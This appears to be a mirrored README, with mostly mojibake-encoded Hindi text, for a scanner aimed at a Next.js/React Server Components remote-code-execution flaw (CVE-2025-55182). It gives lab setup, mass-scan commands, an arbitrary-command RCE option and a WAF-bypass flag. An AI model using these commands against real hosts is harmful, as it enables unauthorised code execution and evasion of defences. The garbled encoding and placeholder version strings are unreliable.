## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZZHORC-CVE-2025-55182
# рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг
рдШрдЯрдХ| рдкреБрдирд░реБрддреНрдкрд╛рджрди рд╣реЗрддреБ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╕рдВрд╕реНрдХрд░рдг| рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╕реАрдорд╛
---|---|---
**Node.js**| >= 20.9.0| 20.9.0 (LTS) рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░
**Next.js**| 15.0.0| 15.x, 16.x (App Router)
**React Core**| 19.0.0 рдпрд╛ 19.2.0| 19.0.0 рд╕реЗ 19.2.0 рддрдХ
**RSC Bundler**| react-server-dom-webpack| 19.0.0 рд╕реЗ 19.2.0 рддрдХ
# рдмрд┐рд▓реНрдб рдФрд░ рд╕реНрдЯрд╛рд░реНрдЯ
1. рдирд┐рдореНрди рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдмрд▓рдкреВрд░реНрд╡рдХ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ
root@kitploit:~
cd cve-2025-55182-target
npm install --force
2. рдирд┐рд░реНрднрд░рддрд╛ рд╕рдВрд╕реНрдХрд░рдг рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ
root@kitploit:~
npm list react next
# чбошодш╛УхЗ║цШ╛чд║ some-email@example.com хТМ some-email@example.com
рдЬрдм рддрдХ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдирд┐рд░реНрднрд░рддрд╛ рд╕реВрдЪреА some-email@example.com рдФрд░ some-email@example.com рджрд┐рдЦрд╛рддреА рд╣реИ, рдкрд░рд┐рд╡реЗрд╢ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЕрд╡рд╕реНрдерд╛ рдореЗрдВ рд▓реЙрдХ рд╣реЛ рдЪреБрдХрд╛ рд╣реИ; рдпрд╣рд╛рдБ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реА рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдФрд░ рддреНрд░реБрдЯрд┐ рдХреЛрдбреЛрдВ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
3. рдмрд┐рд▓реНрдб рдХрд░реЗрдВ:
root@kitploit:~
npm run build
4. рдЪрд▓рд╛рдПрдБ:
root@kitploit:~
npm start
рд╕рд░реНрд╡рд░ http://localhost:3000 рдкрд░ рд╕реБрди рд░рд╣рд╛ рд╣реЛрдЧрд╛ред рдкрд░рд┐рд╡реЗрд╢ рд╕реЗрдЯрдЕрдк рдкреВрд░реНрдг рд╣реЛ рдЧрдпрд╛ рд╣реИ; рдЕрдм рднреЗрджреНрдпрддрд╛ рд╕рддреНрдпрд╛рдкрди рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
# рдЙрджрд╛рд╣рд░рдг
* рднреЗрджреНрдпрддрд╛ рдкрд╣рдЪрд╛рди/рд╕реНрдХреИрдирд┐рдВрдЧ:
root@kitploit:~
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
* RCE:
root@kitploit:~
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


# рд╕рдВрджрд░реНрдн
react2shell-scanner
## react2shell-scanner
React Server Components рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ Next.js рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ CVE-2025-55182 рдФрд░ CVE-2025-66478 рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЯреВрд▓ред
рднреЗрджреНрдпрддрд╛ рдФрд░ рдкрд╣рдЪрд╛рди рдкрджреНрдзрддрд┐ рдХреА рддрдХрдиреАрдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░рд╛ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рд╕реНрдХреИрдирд░ рдПрдХ рдирд┐рд░реНрдорд┐рдд рдорд▓реНрдЯреАрдкрд╛рд░реНрдЯ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ RCE рдкреНрд░реВрдл-рдСрдл-рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдЧрдгрд┐рддреАрдп рдСрдкрд░реЗрд╢рди (`41*271 = 11111`) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░рд┐рдгрд╛рдо рдХреЛ `X-Action-Redirect` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ `/login?a=11111` рдХреЗ рд░реВрдк рдореЗрдВ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВред
рд╕реНрдХреИрдирд░ рдкрд╣рд▓реЗ рд░реВрдЯ рдкрд╛рде рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рд╕рдорд╛рди-рд╣реЛрд╕реНрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ (рдЬреИрд╕реЗ, `/` рд╕реЗ `/en/`) рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдЧрдВрддрд╡реНрдп рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИред рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
### рд╕реБрд░рдХреНрд╖рд┐рдд рдЬрд╛рдБрдЪ рдореЛрдб
`--safe-check` рдлреНрд▓реИрдЧ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрд╣рдЪрд╛рди рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЯрд╛рд░рдЧреЗрдЯ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рд╕рдВрдХреЗрддрдХреЛрдВ (рд╡рд┐рд╢рд┐рд╖реНрдЯ рддреНрд░реБрдЯрд┐ рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдХреЗ рд╕рд╛рде 500 рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдб) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдЬрдм RCE рдирд┐рд╖реНрдкрд╛рджрди рд╡рд╛рдВрдЫрд┐рдд рди рд╣реЛ рддреЛ рдЗрд╕ рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
### WAF рдмрд╛рдЗрдкрд╛рд╕
`--waf-bypass` рдлреНрд▓реИрдЧ рдорд▓реНрдЯреАрдкрд╛рд░реНрдЯ рдЕрдиреБрд░реЛрдз рдмреЙрдбреА рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЬрдВрдХ рдбреЗрдЯрд╛ рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдпрд╣ WAF рд╕рд╛рдордЧреНрд░реА рдирд┐рд░реАрдХреНрд╖рдг рд╕реЗ рдмрдЪрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдЕрдиреБрд░реЛрдз рдмреЙрдбреА рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдХрд╛рд░ 128KB рд╣реИ, рдЬрд┐рд╕реЗ `--waf-bypass-size` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬрдм WAF рдмрд╛рдЗрдкрд╛рд╕ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЯрд╛рдЗрдордЖрдЙрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ 20 рд╕реЗрдХрдВрдб рддрдХ рдмрдврд╝рд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рддрдХ рдХрд┐ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╕реЗрдЯ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ)ред
### рд╡рд┐рдВрдбреЛрдЬ рдореЛрдб
`--windows` рдлреНрд▓реИрдЧ рд╡рд┐рдВрдбреЛрдЬ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдЯрд╛рд░рдЧреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдкреЗрд▓реЛрдб рдХреЛ Unix рд╢реЗрд▓ (`echo $((41*271))`) рд╕реЗ PowerShell (`powershell -c "41*271"`) рдореЗрдВ рдмрджрд▓ рджреЗрддрд╛ рд╣реИред
## рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
* Python 3.9+
* requests
* tqdm
## рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди
root@kitploit:~
pip install -r requirements.txt
## рдЙрдкрдпреЛрдЧ
рдПрдХрд▓ рд╣реЛрд╕реНрдЯ рд╕реНрдХреИрди рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -u https://example.com
рд╣реЛрд╕реНрдЯреЛрдВ рдХреА рд╕реВрдЪреА рд╕реНрдХреИрди рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -l hosts.txt
рдПрдХрд╛рдзрд┐рдХ рдереНрд░реЗрдбреНрд╕ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рд╕рд╣реЗрдЬреЗрдВ:
root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json
рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рдкрд╣рдЪрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
рд╡рд┐рдВрдбреЛрдЬ рдЯрд╛рд░рдЧреЗрдЯреНрд╕ рд╕реНрдХреИрди рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -u https://example.com --windows
WAF рдмрд╛рдЗрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ:
root@kitploit:~
python3 scanner.py -u https://example.com --waf-bypass
RCE
root@kitploit:~
python3 scanner.py -u https://example.com -c "ls /"
## рд╡рд┐рдХрд▓реНрдк
root@kitploit:~
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
## рд╢реНрд░реЗрдп
RCE PoC рдореВрд▓ рд░реВрдк рд╕реЗ @maple3142 рджреНрд╡рд╛рд░рд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ -- рдПрдХ рдХрд╛рд░реНрдпрд╢реАрд▓ PoC рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдЙрдирдХреЗ рдХрд╛рд░реНрдп рдХреЗ рдкреНрд░рддрд┐ рдЕрддреНрдпрдВрдд рдЖрднрд╛рд░реА рд╣реИрдВред
рдпрд╣ рдЯреВрд▓рд┐рдВрдЧ рдореВрд▓ рд░реВрдк рд╕реЗ RCE рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдереАред рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдЕрднреА рднреА `--safe-check`, рдЕрд░реНрдерд╛рдд "рд╕реБрд░рдХреНрд╖рд┐рдд рдкрд╣рдЪрд╛рди" рдореЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИред
* Assetnote Security Research Team - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobsh├дuser, Shubham Shah
* xEHLE_ \- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ RCE рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рддрд┐рдмрд┐рдВрдм
* Nagli
## рдЖрдЙрдЯрдкреБрдЯ
рдкрд░рд┐рдгрд╛рдо рдЯрд░реНрдорд┐рдирд▓ рдкрд░ рдкреНрд░рд┐рдВрдЯ рд╣реЛрддреЗ рд╣реИрдВред `-o` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯ рд╕рддреНрдпрд╛рдкрди рд╣реЗрддреБ рдкреВрд░реНрдг HTTP рдЕрдиреБрд░реЛрдз рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд╛рд▓реА рдПрдХ JSON рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред